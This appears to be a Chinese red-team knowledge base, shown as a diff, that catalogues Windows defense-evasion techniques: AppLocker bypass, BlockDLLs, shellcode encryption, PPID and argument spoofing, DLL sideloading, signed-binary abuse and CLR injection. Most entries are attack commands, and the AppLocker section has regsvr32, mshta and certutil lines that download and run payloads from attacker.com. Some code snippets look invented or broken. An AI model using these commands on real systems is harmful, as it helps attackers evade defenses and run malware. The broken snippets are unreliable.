### AppLocker绕过 `applocker-bypass`
|
|
287
|
+
_绕过AppLocker应用程序限制_
|
|
288
|
+
子类:**AppLocker** · tags: `applocker` `bypass` `evasion`
|
|
289
|
+
|
|
290
|
+
**前置条件:**
|
|
291
|
+
- AppLocker限制环境
|
|
292
|
+
|
|
293
|
+
**攻击链:**
|
|
294
|
+
|
|
295
|
+
**使用白名单路径**
|
|
296
|
+
> 使用白名单可执行文件
|
|
297
|
+
_platform: windows_
|
|
298
|
+
```
|
|
299
|
+
C:\Windows\System32\spoolsv.exe
|
|
300
|
+
C:\Windows\System32\svchost.exe
|
|
301
|
+
C:\Program Files\Internet Explorer\ieexec.exe
|
|
302
|
+
```
|
|
303
|
+
|
|
304
|
+
**LOLBAS利用**
|
|
305
|
+
> LOLBAS技术
|
|
306
|
+
_platform: windows_
|
|
307
|
+
```
|
|
308
|
+
regsvr32.exe /s /n /u /i:http://attacker.com/shell.sct scrobj.dll
|
|
309
|
+
mshta.exe http://attacker.com/shell.hta
|
|
310
|
+
certutil.exe -urlcache -split -f http://attacker.com/shell.exe shell.exe
|
|
311
|
+
```
|
|
312
|
+
|
|
313
|
+
**InstallUtil**
|
|
314
|
+
> InstallUtil绕过
|
|
315
|
+
_platform: windows_
|
|
316
|
+
```
|
|
317
|
+
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U shell.exe
|
|
318
|
+
```
|
|
319
|
+
|
|
320
|
+
**MSBuild**
|
|
321
|
+
> MSBuild执行代码
|
|
322
|
+
_platform: windows_
|
|
323
|
+
```
|
|
324
|
+
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe shell.csproj
|
|
325
|
+
```
|
|
326
|
+
|
|
327
|
+
|
|
328
|
+
**概述:** AppLocker可限制程序执行,但存在绕过方法。
|
|
329
|
+
|
|
330
|
+
**漏洞原理:** AppLocker规则不完善。
|
|
331
|
+
|
|
332
|
+
**利用方法:** 利用流程:1) 分析限制规则 2) 找到白名单路径 3) 使用LOLBAS
|
|
333
|
+
|
|
334
|
+
**防御措施:** 防御措施:1) 完善规则 2) 监控LOLBAS 3) 使用WDAC
|
|
335
|
+
|
|
336
|
+
---
|
|
337
|
+
|
|
338
|
+
### BlockDLLs技术 `evasion-blockdlls`
|
|
339
|
+
_阻止非微软DLL加载_
|
|
340
|
+
子类:**BlockDLLs** · tags: `evasion` `blockdlls` `edr`
|
|
341
|
+
|
|
342
|
+
**前置条件:**
|
|
343
|
+
- Windows系统
|
|
344
|
+
- Cobalt Strike或其他工具
|
|
345
|
+
|
|
346
|
+
**攻击链:**
|
|
347
|
+
|
|
348
|
+
**Cobalt Strike BlockDLLs**
|
|
349
|
+
> 启用BlockDLLs
|
|
350
|
+
_platform: windows_
|
|
351
|
+
```
|
|
352
|
+
beacon> blockdlls start
|
|
353
|
+
阻止非微软签名的DLL加载
|
|
354
|
+
beacon> blockdlls stop
|
|
355
|
+
恢复DLL加载
|
|
356
|
+
```
|
|
357
|
+
**语法解析:**
|
|
358
|
+
- `blockdlls start` — 启用DLL过滤 _keyword_
|
|
359
|
+
- `非微软签名` — 只允许微软签名DLL _keyword_
|
|
360
|
+
|
|
361
|
+
**进程创建时启用**
|
|
362
|
+
> 进程创建时启用
|
|
363
|
+
_platform: windows_
|
|
364
|
+
```
|
|
365
|
+
使用CREATE_SUSPENDED标志创建进程
|
|
366
|
+
设置ProcessSignaturePolicy
|
|
367
|
+
阻止EDR DLL注入
|
|
368
|
+
```
|
|
369
|
+
|
|
370
|
+
**C#实现**
|
|
371
|
+
> C#实现BlockDLLs
|
|
372
|
+
_platform: windows_
|
|
373
|
+
```
|
|
374
|
+
[DllImport("kernel32.dll")]
|
|
375
|
+
static extern bool SetProcessMitigationPolicy(...);
|
|
376
|
+
ProcessSignaturePolicy policy = new ProcessSignaturePolicy();
|
|
377
|
+
policy.SignatureLevel = 0x0F;
|
|
378
|
+
SetProcessMitigationPolicy(ProcessMitigationPolicy.Signature, ref policy, size);
|
|
379
|
+
```
|
|
380
|
+
|
|
381
|
+
|
|
382
|
+
**概述:** BlockDLLs可阻止EDR的DLL注入。
|
|
383
|
+
|
|
384
|
+
**漏洞原理:** Windows允许进程设置DLL加载策略。
|
|
385
|
+
|
|
386
|
+
**利用方法:** 利用流程:1) 启用BlockDLLs 2) 创建子进程 3) EDR无法注入
|
|
387
|
+
|
|
388
|
+
**防御措施:** 防御措施:1) 使用内核级监控 2) ETW跟踪 3) 早期启动驱动
|
|
389
|
+
|
|
390
|
+
---
|
|
391
|
+
|
|
392
|
+
### Shellcode加密 `evasion-shellcode-encrypt`
|
|
393
|
+
_加密Shellcode绕过静态检测_
|
|
394
|
+
子类:**Shellcode加密** · tags: `evasion` `shellcode` `encrypt`
|
|
395
|
+
|
|
396
|
+
**前置条件:**
|
|
397
|
+
- Shellcode
|
|
398
|
+
- 加密工具
|
|
399
|
+
|
|
400
|
+
**攻击链:**
|
|
401
|
+
|
|
402
|
+
**AES加密Shellcode**
|
|
403
|
+
> AES加密
|
|
404
|
+
```
|
|
405
|
+
使用工具加密:
|
|
406
|
+
python shellcode_encoder.py --input shellcode.bin --output encoded.bin --key randomkey
|
|
407
|
+
生成加密的Shellcode和解密代码
|
|
408
|
+
```
|
|
409
|
+
|
|
410
|
+
**XOR加密**
|
|
411
|
+
> XOR加密
|
|
412
|
+
```
|
|
413
|
+
简单XOR加密:
|
|
414
|
+
for i in range(len(shellcode)):
|
|
415
|
+
encoded[i] = shellcode[i] ^ key[i % len(key)]
|
|
416
|
+
运行时解密执行
|
|
417
|
+
```
|
|
418
|
+
**语法解析:**
|
|
419
|
+
- `XOR` — 异或加密简单有效 _keyword_
|
|
420
|
+
- `运行时解密` — 内存中解密执行 _keyword_
|
|
421
|
+
|
|
422
|
+
**RC4加密**
|
|
423
|
+
> RC4加密
|
|
424
|
+
```
|
|
425
|
+
使用RC4加密Shellcode:
|
|
426
|
+
from Crypto.Cipher import ARC4
|
|
427
|
+
cipher = ARC4.new(key)
|
|
428
|
+
encrypted = cipher.encrypt(shellcode)
|
|
429
|
+
运行时使用相同密钥解密
|
|
430
|
+
```
|
|
431
|
+
|
|
432
|
+
**多态加密**
|
|
433
|
+
> 多态加密
|
|
434
|
+
```
|
|
435
|
+
每次生成不同的解密代码:
|
|
436
|
+
- 随机密钥
|
|
437
|
+
- 随机解密顺序
|
|
438
|
+
- 添加垃圾指令
|
|
439
|
+
- 控制流混淆
|
|
440
|
+
```
|
|
441
|
+
|
|
442
|
+
|
|
443
|
+
**概述:** Shellcode加密可绕过静态特征检测。
|
|
444
|
+
|
|
445
|
+
**漏洞原理:** AV依赖静态特征匹配。
|
|
446
|
+
|
|
447
|
+
**利用方法:** 利用流程:1) 加密Shellcode 2) 生成解密代码 3) 运行时解密执行
|
|
448
|
+
|
|
449
|
+
**防御措施:** 防御措施:1) 内存扫描 2) 行为分析 3) 沙箱检测
|
|
450
|
+
|
|
451
|
+
---
|
|
452
|
+
|
|
453
|
+
### 进程伪装 `evasion-process-masq`
|
|
454
|
+
_伪装进程名称和路径_
|
|
455
|
+
子类:**进程伪装** · tags: `evasion` `process` `masquerade`
|
|
456
|
+
|
|
457
|
+
**前置条件:**
|
|
458
|
+
- Windows系统
|
|
459
|
+
|
|
460
|
+
**攻击链:**
|
|
461
|
+
|
|
462
|
+
**PPID欺骗**
|
|
463
|
+
> PPID欺骗
|
|
464
|
+
_platform: windows_
|
|
465
|
+
```
|
|
466
|
+
Cobalt Strike:
|
|
467
|
+
beacon> ppid 1234
|
|
468
|
+
设置父进程ID为合法进程
|
|
469
|
+
beacon> run [command]
|
|
470
|
+
新进程继承合法父进程
|
|
471
|
+
```
|
|
472
|
+
**语法解析:**
|
|
473
|
+
- `ppid` — 设置父进程ID _keyword_
|
|
474
|
+
- `继承关系` — 伪装进程继承链 _keyword_
|
|
475
|
+
|
|
476
|
+
**进程参数欺骗**
|
|
477
|
+
> 参数欺骗
|
|
478
|
+
_platform: windows_
|
|
479
|
+
```
|
|
480
|
+
CreateProcess参数:
|
|
481
|
+
- lpApplicationName: 合法程序路径
|
|
482
|
+
- lpCommandLine: 包含恶意命令
|
|
483
|
+
- 显示为合法进程
|
|
484
|
+
```
|
|
485
|
+
|
|
486
|
+
**进程镂空**
|
|
487
|
+
> 进程镂空
|
|
488
|
+
_platform: windows_
|
|
489
|
+
```
|
|
490
|
+
1. 创建合法进程(挂起状态)
|
|
491
|
+
2. 写入恶意代码
|
|
492
|
+
3. 恢复线程执行
|
|
493
|
+
进程名显示为合法程序
|
|
494
|
+
```
|
|
495
|
+
|
|
496
|
+
|
|
497
|
+
**概述:** 进程伪装可绕过基于进程名的检测。
|
|
498
|
+
|
|
499
|
+
**漏洞原理:** Windows进程创建机制可被利用。
|
|
500
|
+
|
|
501
|
+
**利用方法:** 利用流程:1) 选择合法进程 2) 创建伪装进程 3) 执行恶意代码
|
|
502
|
+
|
|
503
|
+
**防御措施:** 防御措施:1) 检查进程内存 2) 验证代码签名 3) 监控异常行为
|
|
504
|
+
|
|
505
|
+
---
|
|
506
|
+
|
|
507
|
+
### PPID欺骗 `evasion-ppid-spoof`
|
|
508
|
+
_伪造父进程ID_
|
|
509
|
+
子类:**PPID欺骗** · tags: `evasion` `ppid` `spoofing`
|
|
510
|
+
|
|
511
|
+
**前置条件:**
|
|
512
|
+
- Windows系统
|
|
513
|
+
- 父进程句柄
|
|
514
|
+
|
|
515
|
+
**攻击链:**
|
|
516
|
+
|
|
517
|
+
**PowerShell实现**
|
|
518
|
+
> PowerShell PPID欺骗
|
|
519
|
+
_platform: windows_
|
|
520
|
+
```
|
|
521
|
+
$parent = Get-Process -Name explorer
|
|
522
|
+
$pi = New-Object System.Diagnostics.ProcessStartInfo
|
|
523
|
+
$pi.FileName = "cmd.exe"
|
|
524
|
+
$pi.ParentProcessId = $parent.Id
|
|
525
|
+
[System.Diagnostics.Process]::Start($pi)
|
|
526
|
+
```
|
|
527
|
+
|
|
528
|
+
**C#实现**
|
|
529
|
+
> C#实现
|
|
530
|
+
_platform: windows_
|
|
531
|
+
```
|
|
532
|
+
[StructLayout(LayoutKind.Sequential)]
|
|
533
|
+
public struct STARTUPINFOEX {
|
|
534
|
+
public STARTUPINFO StartupInfo;
|
|
535
|
+
public IntPtr lpAttributeList;
|
|
536
|
+
}
|
|
537
|
+
使用PROC_THREAD_ATTRIBUTE_PARENT_PROCESS属性
|
|
538
|
+
```
|
|
539
|
+
**语法解析:**
|
|
540
|
+
- `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` — 设置父进程属性 _keyword_
|
|
541
|
+
- `lpAttributeList` — 属性列表 _keyword_
|
|
542
|
+
|
|
543
|
+
**Cobalt Strike**
|
|
544
|
+
> Cobalt Strike实现
|
|
545
|
+
_platform: windows_
|
|
546
|
+
```
|
|
547
|
+
beacon> ppid [explorer_pid]
|
|
548
|
+
beacon> run notepad.exe
|
|
549
|
+
新进程父进程为explorer.exe
|
|
550
|
+
```
|
|
551
|
+
|
|
552
|
+
|
|
553
|
+
**概述:** PPID欺骗可伪装进程的父子关系。
|
|
554
|
+
|
|
555
|
+
**漏洞原理:** Windows允许指定父进程。
|
|
556
|
+
|
|
557
|
+
**利用方法:** 利用流程:1) 获取合法进程PID 2) 创建进程时指定父进程 3) 绕过检测
|
|
558
|
+
|
|
559
|
+
**防御措施:** 防御措施:1) 检查进程树 2) 监控异常父子关系 3) ETW跟踪
|
|
560
|
+
|
|
561
|
+
---
|
|
562
|
+
|
|
563
|
+
### DLL侧加载 `evasion-dll-sideloading`
|
|
564
|
+
_利用DLL搜索顺序加载恶意DLL_
|
|
565
|
+
子类:**DLL侧加载** · tags: `evasion` `dll` `sideloading`
|
|
566
|
+
|
|
567
|
+
**前置条件:**
|
|
568
|
+
- Windows系统
|
|
569
|
+
- 可执行文件
|
|
570
|
+
|
|
571
|
+
**攻击链:**
|
|
572
|
+
|
|
573
|
+
**DLL劫持**
|
|
574
|
+
> DLL劫持原理
|
|
575
|
+
_platform: windows_
|
|
576
|
+
```
|
|
577
|
+
1. 找到可执行文件加载的DLL
|
|
578
|
+
2. 将恶意DLL放在搜索路径优先位置
|
|
579
|
+
3. 执行程序时加载恶意DLL
|
|
580
|
+
```
|
|
581
|
+
|
|
582
|
+
**DLL转发**
|
|
583
|
+
> DLL转发
|
|
584
|
+
_platform: windows_
|
|
585
|
+
```
|
|
586
|
+
#pragma comment(linker, "/export:OriginalFunction=original.dll.OriginalFunction")
|
|
587
|
+
导出原始DLL的函数
|
|
588
|
+
同时执行恶意代码
|
|
589
|
+
```
|
|
590
|
+
**语法解析:**
|
|
591
|
+
- `/export:` — 导出函数 _parameter_
|
|
592
|
+
- `original.dll` — 转发到原始DLL _path_
|
|
593
|
+
|
|
594
|
+
**常见目标**
|
|
595
|
+
> 常见目标DLL
|
|
596
|
+
_platform: windows_
|
|
597
|
+
```
|
|
598
|
+
常见DLL劫持目标:
|
|
599
|
+
- version.dll
|
|
600
|
+
- dwmapi.dll
|
|
601
|
+
- uxtheme.dll
|
|
602
|
+
- cryptsp.dll
|
|
603
|
+
- winmm.dll
|
|
604
|
+
```
|
|
605
|
+
|
|
606
|
+
|
|
607
|
+
**概述:** DLL侧加载利用Windows DLL搜索顺序。
|
|
608
|
+
|
|
609
|
+
**漏洞原理:** Windows DLL搜索顺序可被利用。
|
|
610
|
+
|
|
611
|
+
**利用方法:** 利用流程:1) 分析目标程序 2) 创建恶意DLL 3) 放置在搜索路径
|
|
612
|
+
|
|
613
|
+
**防御措施:** 防御措施:1) 使用绝对路径 2) SetDllDirectory 3) 监控DLL加载
|
|
614
|
+
|
|
615
|
+
---
|
|
616
|
+
|
|
617
|
+
### 参数欺骗 `evasion-arg-spoofing`
|
|
618
|
+
_欺骗进程参数显示_
|
|
619
|
+
子类:**参数欺骗** · tags: `evasion` `argument` `spoofing`
|
|
620
|
+
|
|
621
|
+
**前置条件:**
|
|
622
|
+
- Windows系统
|
|
623
|
+
|
|
624
|
+
**攻击链:**
|
|
625
|
+
|
|
626
|
+
**命令行欺骗**
|
|
627
|
+
> 命令行欺骗
|
|
628
|
+
_platform: windows_
|
|
629
|
+
```
|
|
630
|
+
CreateProcess参数:
|
|
631
|
+
lpApplicationName = "C:\Windows\System32\cmd.exe"
|
|
632
|
+
lpCommandLine = "C:\Windows\System32\cmd.exe /c whoami"
|
|
633
|
+
实际执行恶意命令
|
|
634
|
+
```
|
|
635
|
+
|
|
636
|
+
**环境变量欺骗**
|
|
637
|
+
> 环境变量欺骗
|
|
638
|
+
_platform: windows_
|
|
639
|
+
```
|
|
640
|
+
使用环境变量隐藏参数:
|
|
641
|
+
set EVIL=malicious_command
|
|
642
|
+
cmd /c %EVIL%
|
|
643
|
+
进程列表不显示实际命令
|
|
644
|
+
```
|
|
645
|
+
|
|
646
|
+
**PEB修改**
|
|
647
|
+
> PEB修改
|
|
648
|
+
_platform: windows_
|
|
649
|
+
```
|
|
650
|
+
修改PEB中的命令行:
|
|
651
|
+
1. 创建进程
|
|
652
|
+
2. 修改PEB中的CommandLine缓冲区
|
|
653
|
+
3. 进程管理器显示假参数
|
|
654
|
+
```
|
|
655
|
+
**语法解析:**
|
|
656
|
+
- `PEB` — 进程环境块 _keyword_
|
|
657
|
+
- `CommandLine` — 命令行参数存储位置 _keyword_
|
|
658
|
+
|
|
659
|
+
|
|
660
|
+
**概述:** 参数欺骗可隐藏实际执行的命令。
|
|
661
|
+
|
|
662
|
+
**漏洞原理:** Windows命令行显示可被修改。
|
|
663
|
+
|
|
664
|
+
**利用方法:** 利用流程:1) 创建进程 2) 修改显示参数 3) 隐藏恶意命令
|
|
665
|
+
|
|
666
|
+
**防御措施:** 防御措施:1) 内存扫描 2) ETW跟踪 3) 行为分析
|
|
667
|
+
|
|
668
|
+
---
|
|
669
|
+
|
|
670
|
+
### 签名二进制利用 `evasion-signed-binary`
|
|
671
|
+
_利用微软签名二进制执行代码_
|
|
672
|
+
子类:**签名二进制** · tags: `evasion` `signed` `lolbin`
|
|
673
|
+
|
|
674
|
+
**前置条件:**
|
|
675
|
+
- Windows系统
|
|
676
|
+
|
|
677
|
+
**攻击链:**
|
|
678
|
+
|
|
679
|
+
**MSBuild**
|
|
680
|
+
> MSBuild执行
|
|
681
|
+
_platform: windows_
|
|
682
|
+
```
|
|
683
|
+
msbuild.exe malicious.csproj
|
|
684
|
+
执行嵌入的C#代码
|
|
685
|
+
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
|
|
686
|
+
```
|
|
687
|
+
|
|
688
|
+
**InstallUtil**
|
|
689
|
+
> InstallUtil执行
|
|
690
|
+
_platform: windows_
|
|
691
|
+
```
|
|
692
|
+
InstallUtil.exe /logfile= /LogToConsole=false /U malicious.dll
|
|
693
|
+
执行.NET程序集
|
|
694
|
+
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
|
|
695
|
+
```
|
|
696
|
+
**语法解析:**
|
|
697
|
+
- `/U` — 卸载模式执行代码 _parameter_
|
|
698
|
+
- `malicious.dll` — 恶意.NET程序集 _path_
|
|
699
|
+
|
|
700
|
+
**Regsvcs/Regasm**
|
|
701
|
+
> Regsvcs/Regasm
|
|
702
|
+
_platform: windows_
|
|
703
|
+
```
|
|
704
|
+
regsvcs.exe malicious.dll
|
|
705
|
+
regasm.exe malicious.dll
|
|
706
|
+
执行.NET程序集
|
|
707
|
+
```
|
|
708
|
+
|
|
709
|
+
**Rundll32**
|
|
710
|
+
> Rundll32执行
|
|
711
|
+
_platform: windows_
|
|
712
|
+
```
|
|
713
|
+
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication"
|
|
714
|
+
rundll32.exe shell32.dll,Control_RunDLL malicious.cpl
|
|
715
|
+
```
|
|
716
|
+
|
|
717
|
+
|
|
718
|
+
**概述:** 签名二进制是微软签名的合法程序,可被滥用执行代码。
|
|
719
|
+
|
|
720
|
+
**漏洞原理:** 微软签名程序有特殊权限。
|
|
721
|
+
|
|
722
|
+
**利用方法:** 利用流程:1) 选择合适工具 2) 准备payload 3) 使用签名程序执行
|
|
723
|
+
|
|
724
|
+
**防御措施:** 防御措施:1) 监控LOLBAS使用 2) 应用程序白名单 3) 行为分析
|
|
725
|
+
|
|
726
|
+
---
|
|
727
|
+
|
|
728
|
+
### CLR注入 `evasion-clr-injection`
|
|
729
|
+
_CLR内存注入技术_
|
|
730
|
+
子类:**CLR注入** · tags: `evasion` `clr` `injection`
|
|
731
|
+
|
|
732
|
+
**前置条件:**
|
|
733
|
+
- Windows系统
|
|
734
|
+
- .NET环境
|
|
735
|
+
|
|
736
|
+
**攻击链:**
|
|
737
|
+
|
|
738
|
+
**CLR内存加载**
|
|
739
|
+
> CLR加载原理
|
|
740
|
+
_platform: windows_
|
|
741
|
+
```
|
|
742
|
+
使用CLR接口加载.NET程序集:
|
|
743
|
+
1. 获取CLR运行时
|
|
744
|
+
2. 创建AppDomain
|
|
745
|
+
3. 加载程序集
|
|
746
|
+
4. 执行入口点
|
|
747
|
+
```
|
|
748
|
+
|
|
749
|
+
**C#实现**
|
|
750
|
+
> C# CLR加载
|
|
751
|
+
_platform: windows_
|
|
752
|
+
```
|
|
753
|
+
var clr = new ClrModule();
|
|
754
|
+
clr.LoadAssembly(File.ReadAllBytes("malicious.exe"));
|
|
755
|
+
clr.Execute("Main");
|
|
756
|
+
从内存执行.NET程序
|
|
757
|
+
```
|
|
758
|
+
**语法解析:**
|
|
759
|
+
- `LoadAssembly` — 从字节数组加载 _keyword_
|
|
760
|
+
- `Execute` — 执行入口点 _keyword_
|
|
761
|
+
|
|
762
|
+
**Cobalt Strike**
|
|
763
|
+
> Cobalt Strike实现
|
|
764
|
+
_platform: windows_
|
|
765
|
+
```
|
|
766
|
+
beacon> execute-assembly /path/to/tool.exe args
|
|
767
|
+
从内存执行.NET程序集
|
|
768
|
+
不落地执行
|
|
769
|
+
```
|
|
770
|
+
|
|
771
|
+
|
|
772
|
+
**概述:** CLR注入可从内存执行.NET程序集。
|
|
773
|
+
|
|
774
|
+
**漏洞原理:** .NET CLR允许动态加载程序集。
|
|
775
|
+
|
|
776
|
+
**利用方法:** 利用流程:1) 获取CLR接口 2) 加载程序集 3) 执行代码
|
|
777
|
+
|
|
778
|
+
**防御措施:** 防御措施:1) AMSI监控 2) 内存扫描 3) ETW跟踪
|
|
779
|
+
|
|
780
|
+
---
|